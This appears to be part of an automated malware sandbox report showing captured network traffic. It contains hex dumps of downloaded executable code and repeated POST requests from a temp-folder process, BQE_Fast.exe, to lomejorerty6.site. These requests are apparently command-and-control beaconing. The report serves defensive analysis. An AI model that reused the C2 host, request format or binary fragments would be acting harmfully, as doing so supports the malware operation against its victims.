                                                                                                                                                                  Data Ascii: fd@d@d@HH\$PH _^]H(HHtGH(H\$WH HHH`t!HhHtHHSQHOHtH,HtHH HLAOLgPDBHHOH
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 8b d5 48 8b cf e8 83 05 00 00 84 c0 74 02 b3 01 8a c3 48 8b 5c 24 30 48 8b 6c 24 38 48 8b 74 24 40 48 83 c4 20 5f c3 cc cc 80 b9 9c 64 00 00 00 74 1f 48 8b c2 48 f7 d8 83 e0 0f 48 03 d0 83 b9 90 64 00 00 03 75 06 48 83 c2 10 eb 04 48 83 c2 08 8b c2 c3 cc 48 89 5c 24 08 48 89 74 24 10 57 48 83 ec 20 80 b9 96 64 00 00 00 48 8b fa 48 8b f1 75 04 32 c0 eb 37 48 8b 01 48 8b 40 28 ff 15 79 a8 03 00 48 8b d7 48 8b ce 48 8b d8 e8 df fe ff ff 48 8b 0e 40 8a f8 45 33 c0 48 8b d3 48 8b 41 20 48 8b ce ff 15 52 a8 03 00 40 8a c7 48 8b 5c 24 30 48 8b 74 24 38 48 83 c4 20 5f c3 cc cc cc 48 89 5c 24 20 88 54 24 10 55 56 57 41 54 41 55 41 56 41 57 48 83 ec 40 40 8a ea 48 8b f9 45 33 e4 44 88 a1 9c 64 00 00 44 88 a1 a8 64 00 00 4c 8d b9 a8 1b 00 00 48 8b 01 41 8d 74 24 07
                                                                                                                                                                  Data Ascii: HtH\$0Hl$8Ht$@H _dtHHHduHHH\$Ht$WH dHHu27HH@(yHHHH@E3HHA HR@H\$0Ht$8H _H\$ T$UVWATAUAVAWH@@HE3DdDdLHAt$
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 48 89 5c 24 08 57 48 83 ec 20 40 8a fa 48 8b d9 ba 01 00 00 00 e8 76 f8 ff ff 4c 8b 43 08 48 8b 03 48 8b 5c 24 30 41 88 7c 00 ff 48 83 c4 20 5f c3 cc cc cc 48 8b c4 48 89 58 08 48 89 68 10 48 89 70 18 48 89 78 20 41 56 48 83 ec 40 48 8b da 48 8b f1 45 33 f6 4c 89 70 d8 4c 89 70 e0 4c 89 70 e8 4c 89 70 f0 45 33 c9 45 33 c0 48 8d 50 d8 e8 e7 2b 00 00 84 c0 75 08 41 8a fe e9 99 00 00 00 48 8b 6c 24 28 33 d2 48 8d 4c 24 20 e8 6e ff ff ff 48 8d 45 01 48 3b 43 10 76 11 48 2b 43 08 48 8b d0 48 8b cb e8 89 f8 ff ff eb 04 48 89 43 08 40 b7 01 48 8b 13 48 8b 4c 24 20 83 be 90 64 00 00 03 75 0b 4c 8b 43 08 e8 82 45 01 00 eb 27 40 84 be e4 3f 00 00 74 15 48 d1 ed 4c 8b c5 e8 20 45 01 00 48 8b 03 66 44 89 34 68 eb 09 4c 8b 43 08 e8 49 44 01 00 48 8b 0b e8 15 99 02 00
                                                                                                                                                                  Data Ascii: H\$WH @HvLCHH\$0A|H _HHXHhHpHx AVH@HHE3LpLpLpLpE3E3HP+uAHl$(3HL$ nHEH;CvH+CHHHC@HHL$ duLCE'@?tHL EHfD4hLCIDH
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: ff ff 7f 48 8d 0c 00 eb 31 48 8d 04 29 48 8b da 48 3b d0 48 0f 42 d8 48 b8 ff ff ff ff ff ff ff 7f 48 8d 4b 01 48 3b c8 0f 87 a0 00 00 00 48 03 c9 48 81 f9 00 10 00 00 72 0a e8 c4 fc ff ff 48 8b f0 eb 0f 48 85 c9 74 07 e8 45 41 02 00 eb ef 49 8b f4 48 89 5f 18 49 8b d7 4b 8d 1c 36 4c 89 77 10 4c 8b c3 48 8b ce e8 26 62 02 00 66 44 89 24 33 48 83 fd 08 72 31 48 8b 0f 48 8d 14 6d 02 00 00 00 48 81 fa 00 10 00 00 72 18 4c 8b 41 f8 48 83 c2 27 49 2b c8 48 8d 41 f8 48 83 f8 1f 77 33 49 8b c8 e8 26 41 02 00 48 89 37 48 8b c7 48 8b 5c 24 40 48 8b 6c 24 48 48 8b 74 24 50 48 8b 7c 24 58 48 83 c4 20 41 5f 41 5e 41 5c c3 e8 84 2c 00 00 cc e8 2a 96 02 00 cc e8 98 2c 00 00 cc cc cc cc 40 53 48 81 ec a0 00 00 00 48 8b 05 f8 b1 04 00 48 33 c4 48 89 84 24 90 00 00 00 48
                                                                                                                                                                  Data Ascii: H1H)HH;HBHHKH;HHrHHtEAIH_IK6LwLH&bfD$3Hr1HHmHrLAH'I+HAHw3I&AH7HH\$@Hl$HHt$PH|$XH A_A^A\,*,@SHHH3H$H
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 8b cb e8 6f 3c 02 00 90 48 83 c4 20 5b c3 48 8d 05 bd c2 03 00 48 89 01 48 83 c1 08 e9 dd 5b 02 00 cc cc cc cc cc cc cc cc cc 48 89 5c 24 08 57 48 83 ec 20 48 8d 05 97 c2 03 00 48 8b f9 48 89 01 8b da 48 83 c1 08 e8 b2 5b 02 00 f6 c3 01 74 0d ba 18 00 00 00 48 8b cf e8 18 3c 02 00 48 8b 5c 24 30 48 8b c7 48 83 c4 20 5f c3 cc cc 40 53 48 83 ec 20 48 8b d9 48 8d 51 3a b9 1a 00 00 00 e8 c1 e7 ff ff ba 03 00 00 00 c6 83 a8 64 00 00 01 48 8d 0d 8a d8 04 00 48 83 c4 20 5b e9 e4 5f 00 00 cc cc cc cc cc cc cc cc 4c 8b dc 53 48 83 ec 60 48 8b 05 d9 ac 04 00 48 33 c4 48 89 44 24 58 4c 8d 41 14 4c 8b ca 48 8d 51 24 48 8b d9 49 8d 43 e8 49 89 43 d8 49 83 63 d0 00 8b 41 10 48 8b 49 08 89 44 24 30 49 89 53 c0 33 d2 4d 89 43 b8 44 8d 42 05 e8 78 4a 00 00 48 8d 53 34 41
                                                                                                                                                                  Data Ascii: o<H [HHH[H\$WH HHHH[tH<H\$0HH _@SH HHQ:dHH [_LSH`HH3HD$XLALHQ$HICICIcAHID$0IS3MCDBxJHS4A
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: cb e8 c3 2e 01 00 e9 59 ff ff ff e8 7d d8 00 00 48 8b d0 48 8b cb e8 da 2e 01 00 e9 44 ff ff ff c6 46 1e 01 48 8b cf e8 75 d9 00 00 48 8b d8 a8 01 74 1b 48 8b cf e8 66 d9 00 00 48 85 c0 74 0e 49 8b 95 80 64 00 00 48 03 d0 48 89 56 20 f6 c3 02 0f 84 12 ff ff ff 48 8b cf e8 42 d9 00 00 48 85 c0 0f 84 01 ff ff ff 49 03 85 80 64 00 00 48 89 46 30 e9 f1 fe ff ff 4c 89 63 08 4d 8b c4 48 8b 13 48 8b cf e8 33 d8 00 00 e9 b7 04 00 00 48 8b cf e8 0a d9 00 00 4c 8b f0 8b c8 c1 e9 02 80 e1 01 88 8e 16 21 00 00 8b c8 c1 e9 03 80 e1 01 88 8e 17 21 00 00 4c 8d a6 18 22 00 00 41 c6 04 24 00 4c 8d be 18 21 00 00 41 c6 07 00 a8 01 74 30 48 8b cf e8 c8 d8 00 00 41 bd ff 00 00 00 41 8b dd 49 3b c5 48 0f 42 d8 4c 8b c3 49 8b d7 48 8b cf e8 c6 d7 00 00 c6 84 1e 18 21 00 00 00
                                                                                                                                                                  Data Ascii: .Y}HH.DFHuHtHfHtIdHHV HBHIdHF0LcMHH3HL!!L"A$L!At0HAAI;HBLIH!
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 02 72 0a 4c 8b 6c 24 28 e9 ee f7 ff ff 48 8b 8d 00 20 00 00 48 33 cc e8 7c 30 02 00 48 8b 9c 24 60 21 00 00 48 81 c4 10 21 00 00 41 5f 41 5e 41 5d 41 5c 5f 5e 5d c3 e8 bc 86 02 00 90 e8 b6 86 02 00 90 cc 48 8b c4 48 89 58 10 48 89 70 18 48 89 78 20 55 41 54 41 55 41 56 41 57 48 8d a8 d8 df ff ff b8 00 21 00 00 e8 9b 34 02 00 48 2b e0 48 8b 05 69 a2 04 00 48 33 c4 48 89 85 f0 1f 00 00 48 8b f9 48 8b d1 48 8d 4c 24 60 e8 b7 d1 00 00 90 41 bd 01 00 00 00 45 8d 7d 06 45 33 e4 44 38 a7 9c 64 00 00 0f 84 92 00 00 00 48 8b 87 a0 64 00 00 49 03 c7 48 39 87 80 64 00 00 7e 7f 44 88 6c 24 50 33 d2 48 8b cf e8 3e 19 00 00 48 8b 07 45 8d 45 07 48 8d 55 e8 48 8b cf 48 8b 40 18 ff 15 5a 8d 03 00 83 f8 08 74 0d 48 8b cf e8 51 1b 00 00 e9 a3 0a 00 00 48 8d 9f 48 10 00 00
                                                                                                                                                                  Data Ascii: rLl$(H H3|0H$`!H!A_A^A]A\_^]HHXHpHx UATAUAVAWH!4H+HiH3HHHHL$`AE}E3D8dHdIH9d~Dl$P3H>HEEHUHH@ZtHQHH
                                                                                                                                                                  2024-12-07 14:43:28 UTC1369INData Raw: 20 81 e2 00 f0 00 00 81 fa 00 a0 00 00 75 12 c7 86 10 11 00 00 01 00 00 00 66 44 89 8e 14 11 00 00 44 3b f3 74 08 44 39 4e 24 b0 01 7c 03 41 8a c1 88 86 08 11 00 00 8b 46 08 c1 e8 08 24 01 88 86 09 11 00 00 74 31 48 8d 4c 24 60 e8 42 cd 00 00 8b d8 48 8d 4c 24 60 e8 36 cd 00 00 44 8b c0 83 c9 ff 44 3b f9 75 08 3b c1 75 04 b2 01 eb 17 45 33 c9 41 8a d1 eb 0f 45 8b c1 41 8b d9 83 c9 ff 44 3b f9 0f 94 c2 88 96 a2 10 00 00 8b cb 48 c1 e1 20 8b 46 14 48 03 c8 48 89 8e 60 10 00 00 41 8b c0 48 c1 e0 20 49 03 c7 48 b9 ff ff ff 7f ff ff ff 7f 84 d2 48 0f 45 c1 48 89 86 68 10 00 00 bb ff 1f 00 00 4c 3b e3 49 0f 42 dc 4c 8b c3 48 8d 55 f0 48 8d 4c 24 60 e8 2d cd 00 00 48 81 fb 00 20 00 00 0f 83 b0 05 00 00 c6 44 1d f0 00 4c 8d 7e 28 41 83 fe 02 0f 85 87 00 00 00 45
                                                                                                                                                                  Data Ascii: ufDD;tD9N$|AF$t1HL$`BHL$`6DD;u;uE3AEAD;H FHH`AH IHHEHhL;IBLHUHL$`-H DL~(AE


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  2192.168.2.449769104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:24 UTC329OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  Content-Length: 96
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:24 UTC96OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 00 fe ff ff ff 00 00 00 00 00 00 00 00 2d 00 00 00 97 00 a0 a0 a0 ff ff d9 24 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                                                                                                                                  Data Ascii: -$9e146be9-c76a-4720-bcdb-53011b87bd06
                                                                                                                                                                  2024-12-07 14:44:25 UTC820INHTTP/1.1 200 OK
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:25 GMT
                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                  Connection: close
                                                                                                                                                                  ie: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=vnO9XwLyZqvKbkWj3AXnPRzK9Sj8o6zC2Owq8IKOzNvM%2F%2FDx6WsRVSIy4VRNb8naxiRoVfCP6CT7LYsOmS34WvZuS%2FB96UcGlW5u7Lw5KFYqi%2BjPMkt9OJhGfkOPtcmnXMeV2A%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b28a84ff797-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1658&min_rtt=1650&rtt_var=635&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2842&recv_bytes=1061&delivery_rate=1702623&cwnd=147&unsent_bytes=0&cid=90e1ca54b70750ca&ts=881&x=0"
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 33 37 65 32 0d 0a fa 5a 84 1d 00 00 00 00 00 00 00 00 ba 7d 00 00 08 00 15 00 ad 0b 57 0c ad 0b 08 26 c5 f7 1b 08 1a 1a 0b 1a c5 15 15 f3 c3 05 37 c8 f6 2a c5 39 95 ac fb ce 2c 01 00 15 00 22 08 2d 01 22 08 08 db b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 5b 04 00 11 00 72 04 43 06 72 04 04 db c0 f7 1b 08 1a 1a 0b 1a c0 2d 0e f1 fe 4a b4 2a b2 04 00 11 00 83 03 86 08 83 03 04 d6 c0 f7 1b 08 1a 1a 0b 1a c0 59 0b cd 1e 3f b5 16 52 08 00 15 00 2b 01 3c 04 2b 01 08 ca c5 f7 1b 08 1a 1a 0b 1a c5 12 b8 9f 38 f4 cc bf c0 2d 68 55 6e 5d 00 b9 1a 04 00 11 00 4a 0d 4d 06 4a 0d 04 db c0 f7 1b 08 1a 1a 0b 1a c0 fb 56 89 27 9c e8 52 6b 08 00 15 00 b0 09 44 0b b0 09 08 d7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 af eb d1 c3 dd d7 c5 e9 1b 00 15 00 0b
                                                                                                                                                                  Data Ascii: 37e2Z}W&7*9,"-"W[rCr-J*Y?R+<+8-hUn]JMJV'RkDW
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 05 08 a7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 c7 dd e9 c9 d1 eb c7 ef e7 cb b7 97 d1 c9 cd d7 4f a9 e7 cd e7 c5 04 00 11 00 e2 00 5d 0e e2 00 04 ca c0 f7 1b 08 1a 1a 0b 1a c0 db d1 f4 f1 bd 6f 2f bd 04 00 11 00 f7 06 39 06 f7 06 04 26 c0 f7 1b 08 1a 1a 0b 1a c0 5e 94 86 14 38 2a 5d 58 17 00 15 00 4b 09 a6 02 4b 09 08 ca b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 c3 dd d7 c5 b1 e7 eb cd d3 e9 c3 c5 eb b1 e7 eb cd c9 c5 53 e7 ff e7 04 00 11 00 71 07 f5 06 71 07 04 d6 c0 f7 1b 08 1a 1a 0b 1a c0 c2 06 e2 fd 05 3e 38 b1 04 00 11 00 a7 03 c8 09 a7 03 04 26 c0 f7 1b 08 1a 1a 0b 1a c0 5f b3 70 6a 39 0d ab 26 08 00 15 00 22 0d da 04 22 0d 08 26 c5 f7 1b 08 1a 1a 0b 1a c5 63 74 78 89 66 21 ce 67 58 a4 b2 df cf ed c8 bd 19 00 15 00 41 02 46 09
                                                                                                                                                                  Data Ascii: WO]o/9&^8*]XKKWSqq>8&_pj9&""&ctxf!gXAF
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: cd e3 c5 a1 cd d7 d7 c5 e7 01 00 15 00 b8 00 23 0a b8 00 08 db b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 5b 04 00 11 00 f4 00 a3 0a f4 00 04 db c0 f7 1b 08 1a 1a 0b 1a c0 12 f9 d1 e7 75 a6 ff ae 04 00 11 00 07 09 0f 0d 07 09 04 db c0 f7 1b 08 1a 1a 0b 1a c0 7b 51 1f bc 1c 0e 31 f5 04 00 11 00 06 0d 58 09 06 0d 04 db c0 f7 1b 08 1a 1a 0b 1a c0 64 f2 7e 0f 03 4c a5 43 04 00 11 00 ba 01 b5 03 ba 01 04 db c0 f7 1b 08 1a 1a 0b 1a c0 7a a3 69 15 1c 1d b2 59 04 00 11 00 07 05 0b 07 07 05 04 26 c0 f7 1b 08 1a 1a 0b 1a c0 a1 65 39 44 c7 db e2 08 04 00 11 00 1d 05 07 0f 1d 05 04 26 c0 f7 1b 08 1a 1a 0b 1a c0 45 b1 5d bf 23 0f 86 f3 08 00 15 00 37 02 dd 06 37 02 08 d6 c5 f7 1b 08 1a 1a 0b 1a c5 e3 2e 2a e0 1b 53 03 bf dc fe e0 b6 b2 9f 05 65 04 00 11 00 56
                                                                                                                                                                  Data Ascii: #W[u{Q1Xd~LCziY&e9D&E]#77.*SeV
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 34 9c 08 00 15 00 57 01 06 04 57 01 08 26 c5 f7 1b 08 1a 1a 0b 1a c5 74 05 b0 db d2 de de 35 2f d5 7a 8d 7b 12 d8 ef 08 00 15 00 d4 03 0b 0a d4 03 08 d6 c5 f7 1b 08 1a 1a 0b 1a c5 47 8b 86 fb 02 a9 2d e0 78 5b 4c ad ab 65 2b 3a 08 00 15 00 09 09 1f 0c 09 09 08 26 c5 f7 1b 08 1a 1a 0b 1a c5 4f 75 46 53 78 77 a6 8a 72 a5 8c 05 d1 bb a0 50 08 00 15 00 e1 0c f8 03 e1 0c 08 a2 c5 f7 1b 08 1a 1a 0b 1a c5 b3 b4 3f 4d 27 9d be c7 8c 64 f5 1b 8e 51 b8 1d 21 00 15 00 da 0a d3 05 da 0a 08 a7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 d5 c5 e9 e9 c5 d3 c1 c5 eb e9 b7 a7 c5 d7 c5 c1 eb cd d5 b7 87 c5 e9 d9 e7 d1 ef b7 e7 c7 cd e7 cd 04 00 11 00 8d 02 a6 0c 8d 02 04 f1 c0 f7 1b 08 1a 1a 0b 1a c0 f8 85 6b cb 9e 3b b0 87 04 00 11 00 9f 09 33 07 9f 09 04 a2 c0 f7
                                                                                                                                                                  Data Ascii: 4WW&t5/z{G-x[Le+:&OuFSxwrP?M'dQ!Wk;3
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 08 1a 1a 0b 1a c0 43 39 59 9f 25 87 82 d3 04 00 11 00 8e 0a a3 02 8e 0a 04 26 c0 f7 1b 08 1a 1a 0b 1a c0 55 30 e8 59 33 8e 33 15 01 00 15 00 db 05 9a 09 db 05 08 26 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 5b 08 00 15 00 ba 08 ec 07 ba 08 08 ca c5 f7 1b 08 1a 1a 0b 1a c5 f1 01 d0 22 d0 dd 26 f9 ce d1 1a 74 79 11 20 23 04 00 11 00 ce 0c 64 05 ce 0c 04 db c0 f7 1b 08 1a 1a 0b 1a c0 b6 e6 57 f2 d1 58 8c be 08 00 15 00 78 04 11 01 78 04 08 f1 c5 f7 1b 08 1a 1a 0b 1a c5 e9 26 5c 96 d1 6e 33 ad d4 f6 96 c0 78 a2 35 77 04 00 11 00 56 07 c2 0a 56 07 04 a7 c0 f7 1b 08 1a 1a 0b 1a c0 5b 47 40 0b 3c f9 9b 47 04 00 11 00 88 03 61 05 88 03 04 a7 c0 f7 1b 08 1a 1a 0b 1a c0 01 e4 9b 9c 66 5e 40 d0 04 00 11 00 63 0a 01 00 63 0a 04 db c0 f7 1b 08 1a 1a 0b 1a c0
                                                                                                                                                                  Data Ascii: C9Y%&U0Y33&W["&ty #dWXxx&\n3x5wVV[G@<Gaf^@cc
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 c9 d1 d3 c3 dd c1 e9 4f 04 00 11 00 aa 00 ee 09 aa 00 04 f1 c0 f7 1b 08 1a 1a 0b 1a c0 23 7b b3 cc 45 c5 68 80 07 00 15 00 5f 09 8d 0a 5f 09 08 f1 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 9f dd e9 e7 d1 eb fd 1b 00 15 00 77 0e ec 00 77 0e 08 db b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 a9 d1 c3 e7 e1 cd eb c5 b7 8b dd e7 c9 d1 dd d3 b7 8b dd e7 c9 d1 dd d3 55 ad e7 08 00 15 00 40 00 4f 07 40 00 08 f1 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 ef eb d1 c3 dd d7 c5 e9 07 00 15 00 82 01 10 0c 82 01 08 d6 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 9f dd e9 e7 d1 eb fd 2d 00 15 00 0a 07 eb 09 0a 07 08 28 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 c3 e7 ef b7 a1 dd d3 a9 89 af
                                                                                                                                                                  Data Ascii: WO#{Eh__WwwWU@O@WW-(W
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: 08 1a 1a 0b 1a c0 4e 92 5a a6 28 2c 81 ea 51 00 15 00 fe 0c dd 07 fe 0c 08 26 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 91 e5 e7 d7 d1 d1 d9 a1 dd d3 8d ef ef 93 c5 e1 b7 8d ef ef 87 cd e7 cd b7 97 d1 c9 cd d7 b7 af cd c9 d9 cd c1 c5 e9 b7 95 dd c9 eb d1 e9 d1 c3 e7 53 91 e5 e7 d7 d1 d1 d9 83 d1 eb a1 dd d3 c7 d1 e1 e9 b1 7f e1 c5 d9 fd cb 69 c7 7f cb cb e1 c5 05 00 15 00 a9 0a 06 0e a9 0a 08 d6 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 5b 53 cb c5 c7 0b 00 15 00 1b 0b 96 05 1b 0b 08 fe b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 e5 e9 c5 eb 53 c9 d1 d3 c3 dd c1 0c 00 15 00 ad 03 7d 0e ad 03 08 26 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 5b 53 e9 ed d7 dd e7 c5 55 e9 df d5 08 00 15 00 02 0b 99 0b 02 0b 08 26 c5 f7 1b 08
                                                                                                                                                                  Data Ascii: NZ(,Q&WSiW[SWS}&W[SU&
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 cd ef ef b1 cb d1 e5 d3 c7 b1 d9 c5 fd 04 00 11 00 5e 0b a0 09 5e 0b 04 db c0 f7 1b 08 1a 1a 0b 1a c0 9e 00 3f 27 f9 ba e4 6b 0c 00 15 00 20 00 1a 0c 20 00 08 d7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 ef eb d1 c3 dd d7 c5 e9 53 dd d3 dd 24 00 15 00 f7 02 f8 08 f7 02 08 db b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 e1 cd d7 d7 c5 e7 e9 b7 81 e5 cd eb c7 cd b7 97 d1 c9 cd d7 4f a9 e7 d1 eb cd c1 c5 b7 d7 c5 e3 c5 d7 c7 cb 16 00 15 00 38 0d 61 07 38 0d 08 a7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 d5 c5 e9 e9 c5 d3 c1 c5 eb e9 b7 87 dd e9 c9 d1 eb c7 b7 af e7 cb 29 00 15 00 5f 0e bb 0a 5f 0e 08 28 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 a9 d1 c3 e7 e1 cd eb c5 b7 95
                                                                                                                                                                  Data Ascii: W^^?'k WS$WO8a8W)__(W
                                                                                                                                                                  2024-12-07 14:44:25 UTC1369INData Raw: bb dd d7 d7 cd b7 e9 dd e7 c5 d5 cd d3 cd c1 c5 eb 53 ff d5 d7 12 00 15 00 f4 08 58 08 f4 08 08 d6 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 8b d1 d1 e7 e9 e7 eb cd ef 89 cd c9 df c5 53 ef d9 c1 0a 00 15 00 0b 06 36 01 0b 06 08 a2 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 c9 df eb d1 d5 c5 53 c5 ff c5 03 00 15 00 b3 02 e4 0d b3 02 08 ca b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 ab 87 af 08 00 15 00 14 06 04 09 14 06 08 26 c5 f7 1b 08 1a 1a 0b 1a c5 8f 17 63 79 0f b5 9d 91 b5 c7 a9 2f a6 79 9b 4b 08 00 15 00 31 0a 2a 0a 31 0a 08 a2 c5 f7 1b 08 1a 1a 0b 1a c5 6f 9b 4c a8 0b 68 4d 86 50 4b 86 fe a2 a4 4b 5c 08 00 15 00 38 01 93 05 38 01 08 d7 b6 f7 1b 08 1a 1a 0b 1a b6 a8 aa 57 9b 8e 9d 96 f9 af eb d1 c3 dd d7 c5 e9 11 00 15 00 a9
                                                                                                                                                                  Data Ascii: SXWS6WSW&cy/yK1*1oLhMPKK\88W


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  3192.168.2.449777104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:27 UTC393OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
                                                                                                                                                                  Accept: */*
                                                                                                                                                                  User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
                                                                                                                                                                  id: NJy7/Ouu3f74SbHF3jAggXf5QO5VmW4yxik2LNxMiUmueWG4ZBVv7AES9g
                                                                                                                                                                  Content-Length: 53
                                                                                                                                                                  Host: lomejorerty6.site
                                                                                                                                                                  2024-12-07 14:44:27 UTC53OUTData Raw: fd ff ff ff 00 00 00 00 00 00 00 00 03 00 00 00 92 00 03 fe ff ff ff 00 00 00 00 00 00 00 00 02 00 00 00 91 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff
                                                                                                                                                                  Data Ascii:
                                                                                                                                                                  2024-12-07 14:44:28 UTC752INHTTP/1.1 200 OK
                                                                                                                                                                  Date: Sat, 07 Dec 2024 14:44:28 GMT
                                                                                                                                                                  Transfer-Encoding: chunked
                                                                                                                                                                  Connection: close
                                                                                                                                                                  cf-cache-status: DYNAMIC
                                                                                                                                                                  Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cywuUlknzi%2FoHKqNKLAh7RyBgbVfXWTsT2SiVuLlqt0459xkCdgKjREOUFUcMvaYXeqdGH08US5NABRV2c2bAny9xCrYVNVwTUIS2vQufT7KoD0HiOfTm7iGnVR4CJ%2FjcPjI6w%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                  NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                  Server: cloudflare
                                                                                                                                                                  CF-RAY: 8ee54b3ac9664407-EWR
                                                                                                                                                                  alt-svc: h3=":443"; ma=86400
                                                                                                                                                                  server-timing: cfL4;desc="?proto=TCP&rtt=1644&min_rtt=1619&rtt_var=625&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2843&recv_bytes=1082&delivery_rate=1803582&cwnd=230&unsent_bytes=0&cid=6eeed37be42f0cf9&ts=643&x=0"
                                                                                                                                                                  2024-12-07 14:44:28 UTC24INData Raw: 31 32 0d 0a fe ff ff ff 00 00 00 00 00 00 00 00 02 00 00 00 91 90 0d 0a
                                                                                                                                                                  Data Ascii: 12
                                                                                                                                                                  2024-12-07 14:44:28 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                                                                                                  Data Ascii: 0


                                                                                                                                                                  Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                  4192.168.2.449782104.21.72.1254434228C:\Users\user\AppData\Local\Temp\BQE_Fast.exe
                                                                                                                                                                  TimestampBytes transferredDirectionData
                                                                                                                                                                  2024-12-07 14:44:29 UTC394OUTPOST /jean-yves-mvoto-mvoto?rvdvfl0bknt8=iCqMynCrGAwVrPuLuUPhq5h0iZr%2FqNXVrBccuzPRU45RkCBOjqij0uuLKXcrUSi%2B HTTP/1.1
                                                                                                                                                                  Connection: Keep-Alive
